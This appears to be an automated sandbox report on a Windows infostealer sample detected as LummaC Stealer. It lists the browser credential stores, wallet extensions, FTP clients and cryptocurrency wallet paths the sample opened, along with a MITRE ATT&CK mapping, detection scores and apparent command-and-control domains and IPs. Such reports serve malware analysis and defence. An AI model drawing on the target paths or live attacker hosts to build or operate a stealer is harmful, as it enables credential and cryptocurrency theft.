Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2175810084.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2198784822.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7jKx8dPOEs.exe PID: 6472, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 7jKx8dPOEs.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7jKx8dPOEs.exe	58%	Virustotal		Browse
7jKx8dPOEs.exe	58%	ReversingLabs	Win32.Infostealer.Tinba
7jKx8dPOEs.exe	100%	Avira	TR/Crypt.TPM.Gen
7jKx8dPOEs.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://mindhandru.buzz/to	100%	Avira URL Cloud	malware
https://mindhandru.buzz/$	100%	Avira URL Cloud	malware
https://mindhandru.buzz/8	100%	Avira URL Cloud	malware
https://mindhandru.buzz/api#	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/apiUniSat	100%	Avira URL Cloud	malware
http://185.215.113.16/iN	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apih	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiv	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apib	100%	Avira URL Cloud	malware
http://185.215.113.16/1N	0%	Avira URL Cloud	safe
http://185.215.113.16/_N	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	172.67.165.185	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_124.6.dr	false		high
https://duckduckgo.com/chrome_newtab	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_124.6.dr	false		high
https://mindhandru.buzz/api#	7jKx8dPOEs.exe, 00000000.00000003.2175810084.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2536769573.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2219275583.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454437785.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/8	7jKx8dPOEs.exe, 00000000.00000003.2197753110.000000000568B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://mindhandru.buzz/to	7jKx8dPOEs.exe, 00000000.00000003.2219275583.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454437785.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_124.6.dr	false		high
https://mindhandru.buzz/pi	7jKx8dPOEs.exe, 00000000.00000003.2219275583.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454437785.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/apiUniSat	7jKx8dPOEs.exe, 00000000.00000003.2198784822.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://mindhandru.buzz/$	7jKx8dPOEs.exe, 00000000.00000003.2147898119.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2147608811.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173256408.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2197753110.000000000568B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_100.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_124.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_121.6.dr, chromecache_100.6.dr	false		high
http://185.215.113.16/iN	7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_124.6.dr	false		high
http://x1.c.lencr.org/0	7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_124.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://github.com/gewarren	chromecache_124.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_124.6.dr	false		high
http://185.215.113.16/off/def.exeeWebKit/537.36	7jKx8dPOEs.exe, 00000000.00000002.2668097900.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_124.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_124.6.dr	false		high
https://mindhandru.buzz/apih	7jKx8dPOEs.exe, 00000000.00000003.2173808494.0000000005673000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2174288777.0000000005673000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2176496752.0000000005672000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173397755.0000000005672000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/PATENTS.txt	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://mindhandru.buzz/apib	7jKx8dPOEs.exe, 00000000.00000003.2454397670.0000000000F20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/certhelp	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://mindhandru.buzz/	7jKx8dPOEs.exe, 00000000.00000003.2536769573.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2198784822.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2176354470.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173256408.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2204287013.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2197753110.000000000568B000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454397670.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_124.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_124.6.dr	false		high
https://schema.org	chromecache_100.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://www.ecosia.org/newtab/	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiv	7jKx8dPOEs.exe, 00000000.00000003.2536863751.0000000000F20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_124.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_124.6.dr	false		high
http://185.215.113.16/	7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_124.6.dr	false		high
